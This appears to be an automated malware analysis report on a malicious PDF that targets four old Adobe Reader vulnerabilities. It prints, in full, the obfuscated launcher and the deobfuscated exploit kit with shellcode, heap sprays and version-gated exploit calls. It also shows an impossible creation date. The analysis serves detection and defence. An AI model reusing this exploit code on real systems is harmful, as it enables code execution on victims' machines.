Malicious PDF — malware analysis report

Static analysis result for SHA-256 7a7a2e59938d517c…

MALICIOUS

PDF

25.2 KB Created: 2011-72-51 03:25:00 Authoring application: String.fromCharCode
MD5: a48d35feecd6cb101994b39a7b0b768e SHA-1: 89ba1fd63509a33711768b12d1a8bbace7fd5e7d SHA-256: 7a7a2e59938d517c22dc96e2a9c0ca64b802a811dfe9dd8bf5146c9dda627610
516 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains embedded JavaScript that leverages multiple known vulnerabilities (CVE-2009-4324, CVE-2009-0927, CVE-2007-5659, CVE-2008-2992) in Adobe Reader. The deobfuscated JavaScript appears to be a stager designed to download and execute a second-stage payload, indicated by the use of functions like Collab.collectEmailInfo and util.printf in exploit contexts.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 11

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF metadata arithmetic JavaScript stager high PDF_INFO_ARITHMETIC_JS_STAGER
    PDF metadata hides JavaScript as arithmetic character-code tokens inside document information fields, then a launcher rebuilds it with String.fromCharCode and eval. The decoder is gated on metadata access from the launcher, a large arithmetic token table, and recovered exploit-like JavaScript.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js
0e1c6380864c4ef4867cc28f55a67811e2de5235d0ec0d5bd96140fbe6f91c81		 pdf-javascript-stream PDF /JS object 1 at offset 0xA 557 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var date = new Date();
tkwg='';
var q = date.getFullYear()-2007;
kqa='2011s'.replace(date.getFullYear(),'hi');
xgy=('tit2011').replace(date.getFullYear(),'le');
g=new Function('a','return t'+kqa+'[a]');
var sgz = g(xgy);
cmpm=('sub2011').replace(date.getFullYear(),'ject');
var sfcl=g(cmpm).replace(date.getFullYear(),'al');
woq=g(sfcl);
gkptx='pro2011cer';
gkptx=woq('gkptx.replace(date.getFullYear(),"du")');
ytcw=woq(g(gkptx));
equjc = woq(sgz);
for (i = 0; i < equjc.length; i++) {
	gvv = equjc[i];
	tkwg += ytcw(gvv);
}
woq(tkwg);
info_arithmetic_stage_000.js
ce19c74b01594c68cd4274f5dd5d88ff45881d87f0d016d9e436c07888a7e780		 deobfuscated-js PDF /Info Title arithmetic JavaScript at offset 0x2F6 3636 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u37b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%u2434%ue2aa%uc3fa%ue5e8%uffff%ucdff%u2528%u2424%ua57a%u78c8%u2425%uad24%ua9c3%u346b%u4ba9%u1570%u73ff%u7775%u7777%u7777%u7777%u7771%u4c77%u2520%u2424%u7271%u4c77%u4a4b%u2424%u514c%u4856%u7049%uaa4c%u2a6a%uccc8%u246c%u2424%ucc74%u2458%u2424%uf4db%ue0a7%u4c2c%ucb6b%u216b%ucc74%u2448%u2424%uf4db%ue4a1%u3351%u704e%ud77d%u4c8e%uda56%u3297%u39cc%u2424%u7424%u75cc%u2424%udb24%u77f4%uda4e%uad4c%u254b%ucc99%u242c%u2424%ucc74%u2418%u2424%uf4db%u1544%u40e4%u74af%uaf14%u2876%u76af%uaf30%u0c56%u3c9d%u2424%u1524%u15db%u88e4%u4518%u2658%u0408%uebe5%u2529%uc6e3%ua5d4%u7fdb%u6e98%uaf4e%u3466%u36af%ufd51%u60ad%u3800%ue745%uaf44%u0048%uaf00%u1861%u70af%u5c21%uce25%u6eaf%uaf3c%u047e%ucf25%u10c7%uaf6d%uaf10%uca25%udb15%ue415%u88d8%ue4a0%u2350%uebe5%u2529%ucfe3%u1fd0%u0058%u510c%uafc5%u007e%ucf25%uaf42%u6f28%u7eaf%u2538%uafcf%uaf20%ucc25%u60ad%u3800%ue645%u242c%ucbcc%udbda%u4cdb%u5050%u1e54%u0b0b%u4a51%u4946%u470a%u0a4b%u4747%u400b%u540a%u544c%u421b%u1619%u0212%u1941%u2417';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

Open this report in the interactive analyzer, or submit your own file for analysis.